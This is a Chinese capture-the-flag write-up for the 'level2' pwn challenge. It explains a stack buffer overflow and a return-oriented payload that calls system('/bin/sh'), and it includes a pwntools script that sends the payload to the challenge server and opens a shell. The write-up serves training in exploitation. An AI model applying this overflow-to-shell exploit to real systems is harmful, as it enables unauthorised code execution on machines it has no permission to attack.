攻防世界 level2
📅9/10/2021, 12:00:00 AM
题目
题目来源: XMan
题目描述:菜鸡请教大神如何获得flag,大神告诉他‘使用面向返回的编程
(ROP)就可以了’
审题
ROP。
题解
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
NX
随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}
vulnerable_function
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
system("echo Input:");
return read(0, buf, 256u);
}
-00000088 buf db 136 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
字符数组buf
的容量为136,read
函数中却指明允许写入256个字节,故存在栈溢出。
因为其处于 return 处,运用 ROP(面向返回编程)构造 payload。
strings
在 IDA 的 strings 窗口中找到了字符串/bin/sh
。
LOAD:08048154 00000013 C /lib/ld-linux.so.2
LOAD:0804822D 0000000A C libc.so.6
LOAD:08048237 0000000F C _IO_stdin_used
LOAD:0804824B 00000007 C system
LOAD:08048252 00000012 C __libc_start_main
LOAD:08048264 0000000F C __gmon_start__
LOAD:08048273 0000000A C GLIBC_2.0
.rodata:08048540 0000000C C echo Input:
.rodata:0804854C 00000014 C echo 'Hello World!'
.eh_frame:080485CB 00000005 C ;*2$\"
.data:0804A024 00000008 C /bin/sh
system
程序中存在system
函数,利用本函数加上前面找到的字符串构造system('/bin/sh')
命令 。
int system(const char *command)
{
return system(command);
}
+00000000 r db 4 dup(?)
+00000004 command dd ? ; offset
Exp
Payload
payload = b'@'*140 + pack(system_addr) + b'@'*4 + pack(shell_addr)
- 用136位和4位数据覆盖函数
vulnerable_function
的buf
和s
。 - 将函数
system
的地址写入函vulnerable_function
的r
。 - 用4位数据覆盖函数
system
的r
。 - 将字符串“/bin/sh”的地址写入函数
system
的command
。
from pwn import *
def exploit():
elf = ELF('./a')
system_addr = elf.symbols['system']
shell_addr = next(elf.search(b'/bin/sh'))
payload = b'@'*140 + pack(system_addr) + b'@'*4 + pack(shell_addr)
r = remote('111.200.241.244', 63854)
r.sendlineafter('Input:', payload)
r.interactive()
r.close()
def main():
exploit()
if __name__ == '__main__':
main()
总结
本题练习基本 ROP 的编写。
This
post
by Yingjie Shang is licensed under
CC BY 4.0